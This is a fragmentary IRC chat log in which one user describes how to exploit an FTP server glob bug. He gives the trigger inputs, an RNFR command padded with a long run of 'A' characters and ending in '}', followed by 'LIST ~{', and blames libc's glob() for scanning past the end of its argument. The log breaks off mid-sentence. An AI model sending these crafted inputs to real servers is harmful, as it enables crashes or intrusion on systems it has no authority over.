[bnuts(bnuts@ext-user.7350.org)] the key to exploit it [bnuts(bnuts@ext-user.7350.org)] RNFR "A"x80*4."}" [bnuts(bnuts@ext-user.7350.org)] LIST ~{ [msg(bnuts)] hey, thanks :) [bnuts(bnuts@ext-user.7350.org)] the problem is in libc, it starts scanning for '}' after the end of the argument for glob() [bnuts(bnuts@ext-user.7350.org)] [the pattern[